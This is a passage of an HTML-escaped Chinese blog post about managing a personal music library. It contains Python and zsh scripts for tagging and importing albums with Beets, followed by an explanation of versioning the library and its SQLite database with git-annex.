#B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       audio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;COMMENT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;] = (&lt;&#x2F;span&gt;&lt;span&gt;comment&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; :=&lt;&#x2F;span&gt;&lt;span&gt; audio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;synopsis&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;       if&lt;&#x2F;span&gt;&lt;span&gt; match&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; :=&lt;&#x2F;span&gt;&lt;span&gt; date_pattern&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;match&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;comment&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;           audio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;DATE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;] =&lt;&#x2F;span&gt;&lt;span&gt; match&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;group&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;       # Capitalise necessary tags, because that&amp;#39;s the standard&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;       for&lt;&#x2F;span&gt;&lt;span&gt; tag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;language&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;title&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;artist&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;album&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;           if&lt;&#x2F;span&gt;&lt;span&gt; tag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; audio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;keys&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;               audio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;tag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;upper&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()] =&lt;&#x2F;span&gt;&lt;span&gt; audio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;tag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;       # Remove unecessary tags&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;       for&lt;&#x2F;span&gt;&lt;span&gt; tag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;language&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;encoder&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;title&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;date&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;purl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;synopsis&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;artist&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;album&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;           if&lt;&#x2F;span&gt;&lt;span&gt; tag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; audio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;keys&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;               audio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;pop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;tag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       audio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;save&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;   #&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; TODO&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; use delete=False after Python 3.12&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   copytree&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;dir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; new_dir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; :=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;inbox&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; dir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;   print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Copied to &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; new_dir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;details&gt;
&lt;h2 id=&quot;整理&quot;&gt;整理&lt;&#x2F;h2&gt;
&lt;p&gt;整理方面，我仍然使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;good-bye-music-subscriptions&#x2F;#Beets&quot;&gt;Beets&lt;&#x2F;a&gt;。由于上一段开头讲的命名规则，我可以使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;tree&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来打印出一个漂亮的树形图（第一层是获取方式，第二层是艺术家名称，第三层是专辑名称&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，再用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;fzf&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;选择我想导入哪张专辑。&lt;&#x2F;p&gt;
&lt;details&gt;
&lt;summary&gt;
&lt;p&gt;脚本不是这篇总结的重点，所以被我折叠起来了。点击以查看。&lt;&#x2F;p&gt;
&lt;&#x2F;summary&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;#!&#x2F;usr&#x2F;bin&#x2F;env zsh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;inbox&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;$0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;:a:h&#x2F;inbox&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;IFS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;$&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; albums&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=(`&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;tree&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -dlC --noreport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; $inbox&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; fzf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; --tac --ansi --multi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;`)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;setopt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; EXTENDED_GLOB&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;full_dirs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; album &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;$albums&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;       full_dirs+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;$inbox&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;***&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;album&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;#*&lt;&#x2F;span&gt;&lt;span&gt;── &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;beet&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $full_dirs&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;rm&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $inbox&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;***&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;&#x2F;DN^F&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;details&gt;
&lt;h3 id=&quot;蠢货附件（git-annex）：把音乐、图片和数据库都放进蠢货（Git）里&quot;&gt;&lt;ruby&gt;蠢货附件&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;git-annex&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;：把音乐、图片和数据库都放进&lt;ruby&gt;蠢货&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;Git&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;里&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;dictionary.cambridge.org&#x2F;dictionary&#x2F;english-chinese-simplified&#x2F;git&quot;&gt;是剑桥词典把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Git&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;翻译成蠢货的&lt;&#x2F;a&gt;，并不是我想骂人&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-7&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-7-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-7-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[7]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-7-content&quot;&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.oxfordlearnersdictionaries.com&#x2F;definition&#x2F;english&#x2F;git&quot;&gt;Git&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;作为蠢货的词源是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Get&lt;&#x2F;a&gt;，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Git_(slang)&quot;&gt;Get&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的蠢货之意来自&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beget（指对方是某人意外生下来的孩子）&lt;&#x2F;a&gt;。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;谢谢大家理解。&lt;&#x2F;p&gt;
&lt;p&gt;我害怕一切不是纯文本的数据，所以对于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;SQLite3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文件一直心存恐惧。而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;SQLite3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来记录音乐的元数据，这让我每次使用都提心吊胆。如果我可以记录&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;beets.sqlite3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的状态，在出问题时回滚就好了。某些支持快照的文件系统可以做到这点，SQLite3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也有自己的导入导出工具，但是我最熟悉的“穿越时间”的工具还是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Git。&lt;&#x2F;p&gt;
&lt;p&gt;问题是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Git&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的定位是&lt;strong&gt;源码&lt;&#x2F;strong&gt;版本控制，它只擅长记录纯文本。不过，我可以使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;git-annex，来把大二进制文件在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;commit&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时替换成一段指向&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;.git&#x2F;annex&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文件夹的哈希值&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-8&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-8-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-8-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[8]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-8-content&quot;&gt;git-annex&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有两种替换方式，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;git-annex.branchable.com&#x2F;tips&#x2F;unlocked_files&#x2F;&quot;&gt;详见&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;locked
files&lt;&#x2F;a&gt;。我管理音乐时使用的是软链接，否则在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;push&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到别的非&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bare&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;仓库时，会因为对面也有可修改的副本而必须加&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;--force&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;才行。而且我树莓派用的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ext4，不支持&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;reflink，所以我没有采用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;unlocked
files。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;由&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;git-annex&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来管理、传送这些大文件，就可以使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Git&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;无感地管理&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;beets.sqlite3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。&lt;&#x2F;p&gt;
&lt;p&gt;使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Git&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;配合&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;git-annex&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来管理整个音乐文件夹的好处多多。比如可以使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;git log&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;列出添加音乐的历史；使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;git-annex.branchable.com&#x2F;preferred_content&#x2F;&quot;&gt;&lt;code&gt;preferred content&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把音乐自动移动到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VPS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里来释放笔记本的空间（&lt;code&gt;exclude=**&#x2F;*.flac and exclude=**&#x2F;*.opus&lt;&#x2F;code&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;receive.denyCurrentBranch = updateInstead&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;直接把整个工作目录&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;push&lt;span 